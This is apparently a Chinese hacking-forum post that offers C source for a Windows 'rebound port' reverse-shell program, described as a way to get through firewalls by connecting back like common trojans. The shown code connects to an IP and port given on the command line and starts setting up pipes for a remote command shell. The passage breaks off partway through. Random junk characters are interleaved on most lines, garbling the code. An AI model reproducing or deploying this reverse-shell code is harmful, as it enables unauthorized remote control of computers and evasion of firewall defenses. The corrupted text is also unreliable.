这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HSq}7S&U
Cu6%h>@K$
/* ============================== $1SUU F\.
Rebound port in Windows NT A$6$,h
By wind,2006/7 \d::l{VB
===============================*/ @JdZ5Q
#include Haqm^Ky$
#include <FZ@Q[RP
hB{jUP)";
#pragma comment(lib,"wsock32.lib") ^pHq66d%Z
arf8xqR-U]
void OutputShell(); #m={yck *
SOCKET sClient; <$JaWL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s(W|f|R
A_KW(;50
void main(int argc,char **argv) >M&3Y
XC
{ ~i 7^P9
WSADATA stWsaData; 0Won9P
int nRet; QY= = GfHt
SOCKADDR_IN stSaiClient,stSaiServer; Y3Q9=u*5
4`,j =3
if(argc != 3) Dc)dE2
{ s.8{5jVG
printf("Useage:\n\rRebound DestIP DestPort\n"); hpU2
return; 2;w*oop,O
} 5h; +Ky!I
->N8#XH2=
WSAStartup(MAKEWORD(2,2),&stWsaData); >rvQw63\
CirZ+o
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U(x]O/m
m8.U &0
stSaiClient.sin_family = AF_INET; 23gPbtq/
stSaiClient.sin_port = htons(0); AlJ} >u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r(9~$_(vK
u]OW8rc
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kZ"BBJ6w
{ =FD;~
printf("Bind Socket Failed!\n"); B5$kHM%p
return; :,)lm.}]t
} <F04GO\
kwsp9 0)
stSaiServer.sin_family = AF_INET; 4bgqg0z>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /&4U6a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X]y)qV)a[c
'F3)9&M
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qgrg CJ
{ vx4+QQYP
printf("Connect Error!"); m4*@o?Ow
return; q:g2Zc'Y~W
} f7}*X|_Y
OutputShell(); A`R{m0A
} jmeRrnC}
&iV{:)L
void OutputShell() vhhC>
7
{ h yv2SxP*
char szBuff[1024]; %Rsp;1Z
SECURITY_ATTRIBUTES stSecurityAttributes; Sf8{h|71
OSVERSIONINFO stOsversionInfo; G$sA`<<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 71l%MH
STARTUPINFO stStartupInfo; TiH)5
char *szShell; `/_G$_
PROCESS_INFORMATION stProcessInformation; 4ni3kmvX
unsigned long lBytesRead; A%^ILyU6c
0x!2ihf
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1UQHq@aM
G%Lt.?m[
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &ot/nQQ
stSecurityAttributes.lpSecurityDescriptor = 0; t]e;;q=L.
stSecurityAttributes.bInheritHandle = TRUE; vY_-Ranj#.
ZWS`\M
a`0=AQ
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KI+VXH}Y5{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4!wR_@W^El
MuSUKBhM
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &